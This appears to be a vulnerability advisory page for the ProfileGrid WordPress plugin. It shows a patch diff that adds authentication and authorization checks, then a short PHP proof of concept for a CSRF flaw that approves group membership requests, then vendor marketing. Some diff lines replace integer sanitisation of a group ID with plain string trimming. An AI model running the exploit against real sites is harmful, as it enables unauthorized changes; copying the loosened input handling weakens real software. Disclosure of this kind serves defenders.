 		$basic_function = new Profile_Magic_Basic_Functions( $this->profile_magic, $this->version );

             // SECURITY: authorization check.
@@ -3341,7 +3477,9 @@
                 }
 		$current_user = wp_get_current_user();
 		$view         = filter_input( INPUT_POST, 'view' );
-		update_user_meta( $current_user->ID, 'pg_member_sort_limit', $limit );
+		if ( is_user_logged_in() && ! empty( $current_user->ID ) ) {
+			update_user_meta( $current_user->ID, 'pg_member_sort_limit', $limit );
+		}
 		if ( $view == '' ) {
 			$pmrequest->pm_get_all_users_from_group( $gid, $pagenum, $limit, $sort_by, $search_in, $search );
 		} else {
@@ -3361,7 +3499,7 @@
 		$pmemails        = new PM_Emails();
 		$html_generator  = new PM_HTML_Creator( $this->profile_magic, $this->version );
 		$user_id_raw     = filter_input( INPUT_POST, 'user_id' );
-		$gid             = absint( filter_input( INPUT_POST, 'gid' ) );
+		$gid             = trim( (string) filter_input( INPUT_POST, 'gid' ) );
 		$retrieved_nonce = isset( $_POST['_wpnonce'] ) ? sanitize_text_field( wp_unslash( $_POST['_wpnonce'] ) ) : '';

 		// SECURITY: CSRF check on the specific action nonce.
@@ -3433,7 +3571,7 @@
 		// SECURITY: authorization check.
 		$current_user_id = get_current_user_id();
 		$basic_function = new Profile_Magic_Basic_Functions( $this->profile_magic, $this->version );
-		if ( ! current_user_can( 'manage_options' ) && ! is_super_admin( $current_user_id ) && ! $basic_function->pm_user_is_group_manager( $current_user_id, absint( $gid ) ) ) {
+		if ( ! current_user_can( 'manage_options' ) && ! is_super_admin( $current_user_id ) && ! $basic_function->pm_user_is_group_manager( $current_user_id, $gid ) ) {
 			wp_send_json_error( esc_html__( 'Insufficient permissions', 'profilegrid-user-profiles-groups-and-communities' ) );
 			return;
 		}
@@ -3510,7 +3648,7 @@
 		$pmemails   = new PM_Emails();
                 $current_user = wp_get_current_user();
 		$uid        = isset( $post['uid'] ) ? $post['uid'] : '';
-                $gid        = isset( $_POST['gid'] ) ? absint( $_POST['gid'] ) : 0;
+                $gid        = isset( $_POST['gid'] ) ? trim( (string) wp_unslash( $_POST['gid'] ) ) : '';
 			$basic_function = new Profile_Magic_Basic_Functions( $this->profile_magic, $this->version );
             // SECURITY: authorization check.
             $current_user_id = get_current_user_id();
@@ -3578,7 +3716,7 @@
 		$dbhandler            = new PM_DBhandler();
                 $current_user = wp_get_current_user();
                 $path                 = plugins_url( '/partials/images/popup-close.png', __FILE__ );
-		$gid                  = isset( $_POST['gid'] ) ? absint( $_POST['gid'] ) : 0;
+		$gid                  = isset( $_POST['gid'] ) ? trim( (string) wp_unslash( $_POST['gid'] ) ) : '';
 		$uid                  = isset( $post['uid'] ) ? $post['uid'] : '';
 		$basic_functions	  = new Profile_Magic_Basic_Functions( $this->profile_magic, $this->version );
             // SECURITY: authorization check.
@@ -4380,7 +4518,9 @@
 		$include_raw  = filter_input( INPUT_POST, 'include', FILTER_SANITIZE_SPECIAL_CHARS );
 		$exclude_raw  = filter_input( INPUT_POST, 'exclude', FILTER_SANITIZE_SPECIAL_CHARS );
 		$paid_raw     = filter_input( INPUT_POST, 'paid', FILTER_SANITIZE_SPECIAL_CHARS );
-		update_user_meta( $current_user->ID, 'pg_member_sort_limit', $limit );
+		if ( is_user_logged_in() && ! empty( $current_user->ID ) ) {
+			update_user_meta( $current_user->ID, 'pg_member_sort_limit', $limit );
+		}

 		$include_ids = array_filter( array_map( 'absint', preg_split( '/s*,s*/', (string) $include_raw, -1, PREG_SPLIT_NO_EMPTY ) ) );
 		$exclude_ids = array_filter( array_map( 'absint', preg_split( '/s*,s*/', (string) $exclude_raw, -1, PREG_SPLIT_NO_EMPTY ) ) );
@@ -6016,19 +6156,29 @@
 	}

 	public function pg_show_msg_panel() {
-                $pmrequests = new PM_request();
-		/*$uid    = filter_input( INPUT_POST, 'uid' ); */
-		/*$rid    = filter_input( INPUT_POST, 'rid' ); */
-		/*$tid    = filter_input( INPUT_POST, 'tid' );*/
-                $rid    = isset($_POST['rid']) ? intval($_POST['rid']) : 0;
-                $search = isset($_POST['search']) ? sanitize_text_field($_POST['search']) : '';
-
-		//$search = filter_input( INPUT_POST, 'search' );
-                $uid = get_current_user_id();
-                $tid = $pmrequests->get_thread_id( $rid, $uid );
+		if ( ! is_user_logged_in() ) {
+			wp_send_json_error( 'Authentication required', 401 );
+		}
+
+		if ( ! check_ajax_referer( 'ajax-nonce', 'nonce', false ) ) {
+			wp_send_json_error( 'Invalid nonce', 403 );
+		}
+
+		$pmrequests = new PM_request();
+		$rid        = absint( filter_input( INPUT_POST, 'rid', FILTER_VALIDATE_INT ) );
+		$search     = sanitize_text_field( wp_unslash( filter_input( INPUT_POST, 'search' ) ) );
+		$uid        = get_current_user_id();
+		$tid        = absint( $pmrequests->get_thread_id( $rid, $uid ) );
+		if ( 0 === $tid ) {
+			wp_send_json_error( 'Thread not found', 404 );
+		}
+		$thread = $this->pg_get_authorized_thread( $tid, $uid );
+		if ( false === $thread ) {
+			wp_send_json_error( 'Unauthorized', 403 );
+		}
 		$chat   = new ProfileMagic_Chat();
 		$chat->pg_show_thread_message_panel( $uid, $rid, $tid, $search );
-                $pmrequests->update_message_status_to_read( $tid );
+		$pmrequests->update_message_status_to_read( $tid );
 		die;
 	}

@@ -6062,18 +6212,19 @@

 		$sender_id       = isset( $message->s_id ) ? (int) $message->s_id : 0;
 		$current_user_id = (int) get_current_user_id();
-		if ( $sender_id !== $current_user_id ) {
+		if ( $sender_id !== $current_user_id && ! current_user_can( 'manage_options' ) ) {
 			wp_send_json_error( 'Unauthorized', 403 );
 		}

+		$thread_id = isset( $message->t_id ) ? absint( $message->t_id ) : 0;
 		$deleted = $dbhandler->remove_row( 'MSG_CONVERSATION', 'm_id', $mid );
 		if ( ! $deleted ) {
 			wp_send_json_error( 'Message not found', 404 );
 		}

-		if ( 0 !== $tid ) {
+		if ( 0 !== $thread_id ) {
 			$pmrequests = new PM_request();
-			$pmrequests->pm_update_thread_time( $tid, 2 );
+			$pmrequests->pm_update_thread_time( $thread_id, 2 );
 		}

 		wp_send_json_success(
@@ -6083,6 +6234,28 @@
 		);
 	}

+	private function pg_get_authorized_thread( $tid, $uid ) {
+		$tid = absint( $tid );
+		$uid = absint( $uid );
+		if ( $tid === 0 || $uid === 0 ) {
+			return false;
+		}
+
+		$dbhandler = new PM_DBhandler();
+		$thread    = $dbhandler->get_row( 'MSG_THREADS', $tid, 't_id' );
+		if ( empty( $thread ) ) {
+			return false;
+		}
+
+		$sender_id   = isset( $thread->s_id ) ? absint( $thread->s_id ) : 0;
+		$receiver_id = isset( $thread->r_id ) ? absint( $thread->r_id ) : 0;
+		if ( $sender_id !== $uid && $receiver_id !== $uid ) {
+			return false;
+		}
+
+		return $thread;
+	}
+
 	public function pg_msg_delete_thread_popup_html() {
 		 $uid  = filter_input( INPUT_POST, 'uid' );
 		$mid   = filter_input( INPUT_POST, 'mid' );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2494 - ProfileGrid <= 5.9.8.2 - Cross-Site Request Forgery to Group Membership Request Approval/Denial
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$admin_cookie = 'wordpress_logged_in_abc123=...';

// Simulate administrator clicking a malicious link
$exploit_url = $target_url . '/wp-admin/admin.php?' . http_build_query([
    'page' => 'pm_membership_requests',
    'bulk_action' => 'approve',
    'selected[]' => 1, // Target request ID
    '_wpnonce' => '' // Missing nonce is the vulnerability
]);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, $admin_cookie);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 200 && strpos($response, 'Membership request approved') !== false) {
    echo "CSRF exploit successful. Membership request approved.n";
} else {
    echo "Exploit failed or conditions not met.n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School